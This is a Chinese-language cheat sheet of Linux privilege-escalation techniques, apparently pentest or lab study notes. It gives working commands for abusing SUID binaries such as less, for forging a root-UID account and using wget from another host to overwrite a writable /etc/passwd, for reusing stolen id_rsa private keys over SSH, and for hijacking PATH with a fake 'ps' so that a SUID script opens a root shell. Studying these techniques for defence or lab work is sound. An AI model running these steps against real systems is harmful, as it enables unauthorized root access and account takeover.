常见suid提权文件
nmap vim find more less bash cp Nano mv awk man wgets
https://gtfobins.github.io/
sudo install -m =xs $(which less) .
./less file_to_read
passwd提权
ls -al /etc/passwd
-rw-rw-rw-- 1 cc cc 2242 7月 13 11:23 /etc/passwd #这里要求至少有w权限
root:x:0:0:root:/root:/bin/bash
openssl passwd -1 -salt coleak a123
$1$coleak$ryLF7yBUFqHmhDrl7czEK1
coleak:$1$coleak$ryLF7yBUFqHmhDrl7czEK1:0:0:/root:/bin/bash
wget http://192.168.10.128/a -O /etc/passwd
ssh coleak@192.168.10.157 #su coleak
ssh密钥提权
查看拥有bash的用户
cat /etc/passwd | grep bash
find / -name authorized_keys -type f 2>/dev/null
cd /home/webper/.ssh
.ssh下文件含义
id_rsa(私钥)服务器上经过rsa算法生成的私钥。与公钥是一对的密钥对,用于连接其他服务器用。
id_rsa.pub(公钥)服务器上经过rsa算法生成的公钥。与私钥是一对的密钥对,用于连接其他服务器用。将主机A的id_rsa.pub内容copy到B主机的authorized_keys文件中,这样A主机就能不通过密码连接到B主机。
authorized_keys(授权文件)实现真正无密码连接,即为授权文件,当把master的公钥添加到authorized_keys文件中后,下次连接直接输入ssh master即可,不需要再次输入密码。
如果目标有使用id_rsa私钥
进行登陆,并且我们有权限读取
可以将id_rsa下载或复制下来使用私钥进行登陆
md5sum id_rsa.pub
md5sum authorized_keys
chmod 600 id_rsa
ssh -i id_rsa web1@192.168.10.153
环境变量劫持提权
PATH是Linux和类Unix操作系统中的环境变量,它指定存储可执行程序的所有bin和sbin目录。当用户在终端上执行任何命令时,它会通过PATH变量来响应用户执行的命令,并向shell发送请求以搜索可执行文件。超级用户通常还具有/sbin和/usr/sbin条目,以便于系统管理命令的执行。
echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/games:/usr/games
环境劫持需要的两个条件 存在带有suid的文件suid文件存在系统命令
且这个文件中必须有系统命令,这样我们就可以命名一个和这个系统命令相同的文件写入/bin/bash;
再将存放这个文件的路径加入环境变量中,当系统去执行这个带有系统命令的文件时;就会直接执行我们命名和这个系统命令相同的文件;而非真实的系统命令;从而实现劫持环境变量提权。
寻找suid文件
find / -perm -u=s -type f 2>/dev/null
/script/shell
PID TTY TIME CMD
2666 pts/1 00:00:00 shell
2667 pts/1 00:00:00 sh
2668 pts/1 00:00:00 ps
xxd /script/shell |grep ps
知道调用了什么命令,我们就可以创建一个
ps
文件,内容为执行/bin/bash
并将自建
ps
文件所在目录加入到环境变量中,当再执行/script/shell
时,系统会在环境变量中依次查找并首先查找并执行到我们自建的
ps
文件,从而返回一个带有root的shell,而非原本的查看进程
cd /tmp
echo "/bin/bash" > ps
chmod 777 ps
export PATH=/tmp:$PATH
echo $PATH
/script/shell